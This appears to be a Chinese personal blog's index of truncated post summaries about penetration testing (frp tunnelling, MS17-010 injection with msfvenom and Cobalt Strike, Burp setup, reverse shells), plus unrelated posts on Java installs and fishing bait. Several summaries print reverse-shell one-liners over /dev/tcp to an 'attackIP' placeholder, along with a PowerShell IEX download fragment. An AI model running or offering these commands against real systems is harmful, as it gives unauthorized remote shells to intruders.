摘要：
0x01 frp搭建 下载链接：https://github.com/fatedier/frp/releases 由于该程序的功能较多，并且是Golang打包的二进制文件，所以文件体积会比较大，在实战环境中可以先用UPX（https://github.com/upx/upx/releases）压缩壳 阅读全文
摘要：
1、原因： 我们在对存在MS17010的漏洞主机进⾏DLL注⼊的时候，⼀般都是⽤的Meataploit的msf venom⽣成出来的，所以每次上线之 后基本都是要经过相对⽐较繁琐的操作之后转到Cobalt Strike去，这样就会显得⾮常⿇烦。所以可以使⽤metasploit的msf venom来把 阅读全文
摘要：
1.查看yum源中是否有相关套件yum -y list java* 2.经过试验发现用yum install java-1.8.0-openjdk 时最后 /usr/lib/jvm/java-1.8.0-openjdk-1.8.0.181-3.b13.el7_5.x86_6目录下只用一个jre文件（ 阅读全文
摘要：
前言 在网上可以搜索到 2 种在腾讯云服务器上安装kali系统的方法： 第一种方法： 通过挂载云硬盘到云服务器上，将kali镜像刻录到挂载的云硬盘中，利用VNC可视化安装kali系统；查看详情 第二种方法： 在本地搭建好kali虚拟机环境，然后通过制作符合腾讯云的kali镜像上传到腾讯云对象存储桶， 阅读全文
摘要：
windows:HTTP(S)代理服务器：127.0.0.1:5783SOCKS代理服务器：127.0.0.1:5789set http_proxy=http://127.0.0.1:1189set https_proxy=http://127.0.0.1:1189 SOCKS5 代理设置：set 阅读全文
摘要：
老三样（蓝鲫、九一八和速攻2号） 老三样怎么搭配才最好是有前提的，季节不同、目标鱼种不同、水深不同其最佳搭配方式也略有不同: 不同季节老三样最佳搭配 冬天鱼儿喜食蛋白含量更高的食物，建议大家的开制饵料时这搭配：野战蓝鲫80%+九一八10%+速攻2号10%；春秋季节鱼儿喜食腥香饵，建议按照野战蓝鲫40 阅读全文
摘要：
打开Burp site 选择第一个选项并保存在本地 点击NEXT、然后找到证书导入Chrome就行了。 阅读全文
摘要：
测试时, 首先需要对网站基本信息有一个收集, 要知道它是什么系统, linux与windows反弹shell的命令不同 linux(需要编码处理): bash -i >& /dev/tcp/127.0.0.1/8888 0>&1 windwos(不需要编码处理): powershell IEX (N 阅读全文
摘要：
参考文章# 反弹shell的各种姿势powershell反弹shell常见方式 前言# 最近在学内网，就从最基础的知识开始学习、整理 正向连接# 攻击者去连接受害者弊端：当受害者处于局域网内无法使用正向连接；当受害者 IP 实时变化时无法持续连接。 反向连接# 受害者主动连接攻击者 前提# 为什么要 阅读全文
摘要：
方法一 利用JRMPClient 反弹shell方式 Bash： bash -i >& /dev/tcp/attackIP/7777 0>&1 /bin/bash -i > /dev/tcp/attackIP/7777 0<&1 2>&1 0<&196;exec 196<>/dev/tcp/atta 阅读全文
